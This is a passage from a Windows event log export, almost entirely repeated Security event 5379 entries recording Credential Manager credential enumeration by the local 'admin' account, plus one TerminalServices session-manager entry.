ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.279\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.280\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.281\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.281\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.282\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:57.283\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.699\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.699\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.702\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.702\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.706\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.706\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.706\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.712\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.715\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.716\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.734\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager 